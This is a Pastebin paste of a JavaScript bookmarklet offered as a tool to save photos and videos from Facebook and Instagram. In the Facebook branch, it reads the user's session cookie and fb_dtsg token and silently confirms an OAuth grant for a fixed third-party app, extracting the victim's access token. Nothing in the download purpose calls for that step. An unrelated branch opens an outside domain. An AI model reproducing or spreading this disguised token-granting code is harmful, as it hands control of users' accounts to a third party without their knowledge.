Advertisement
xachetbay

Zucker Crush - code get ảnh và video từ Facebook/Instagram

Apr 9th, 2019
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.36 KB | None | 0 0
  1. javascript:
  2. var host = window.location.hostname;
  3. var pathname = window.location.pathname;
  4. var fullurl = host + pathname;
  5. var https_host = "https://" + host + pathname;
  6. var ps = fullurl.split("/")[1];
  7. switch (host) {
  8. case "www.instagram.com":
  9. switch(ps) {
  10. case "p":
  11. var linkvid = document.getElementsByClassName("tWeCl")[0];
  12. if(linkvid == undefined){
  13. var length_photo = document.getElementsByClassName("FFVAD").length;
  14. var linkins = length_photo - 1;
  15. var link_photo = document.getElementsByClassName("FFVAD")[linkins].currentSrc;
  16. window.open(link_photo, '_blank');
  17.  
  18. }else{
  19. var linkvid = linkvid.currentSrc;
  20. window.open(linkvid, '_blank');
  21. }
  22. case "stories":
  23. var photo = document.getElementsByClassName('y-yJ5')[0].src;
  24. if(photo == null){
  25. var video = document.getElementsByClassName('y-yJ5')[2].currentSrc;
  26. window.open(video, '_blank');
  27. }
  28. else{
  29. window.open(photo , '_blank');
  30. }
  31. break;
  32. default:
  33. window.open("http://insd.ga", '_blank');
  34. }
  35. break;
  36. case "www.facebook.com":
  37. var your_url = document.getElementsByClassName("_2s25")[0].href;
  38. if(https_host == your_url ){
  39. var uid = document.cookie.match(/c_user=(\d+)/)[1],
  40. dtsg = document.getElementsByName("fb_dtsg")[0].value,
  41. http = new XMLHttpRequest,
  42. url = "//www.facebook.com/v1.0/dialog/oauth/confirm",
  43. params = "fb_dtsg=" + dtsg + "&app_id=165907476854626&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=" + uid;
  44. http.open("POST", url, !0), http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), http.onreadystatechange = function() {
  45. if (4 == http.readyState && 200 == http.status) {
  46. var a = http.responseText.match(/access_token=(.*)(?=&expires_in)/);
  47. var detoken = a[1];
  48. }
  49. }, http.send(params);
  50. }
  51. else{
  52. var check_graud = document.querySelector("._ttp");
  53. if(check_graud == null){
  54. var story = document.getElementsByClassName('_5i4g')[0];
  55. if(story == undefined){
  56. var get = document.getElementsByClassName('_7yy')[0].innerHTML;
  57. document.write(get);
  58. }else{
  59. story = story.src;
  60. window.open(story, '_blank');
  61. }
  62. }else {
  63. function copy(id){
  64. var b=document.createElement("textarea"),c=document.getSelection();
  65. b.textContent=id,document.body.appendChild(b),c.removeAllRanges(),b.select(),document.execCommand("copy"),c.removeAllRanges(),document.body.removeChild(b)
  66. };
  67. function getMe(){
  68. try{
  69. var id = encodeURIComponent(require("TimelineController").getProfileID());
  70. if(id!="null") return id;
  71. else return "0";
  72. }
  73. catch (e){
  74. return "0";
  75. }
  76. }
  77. var id = getMe();
  78. var url = "http://graph.facebook.com/"+ id + "/picture?height=720&width=720";
  79. window.open(url, '_blank');
  80. }
  81. }
  82. break;
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement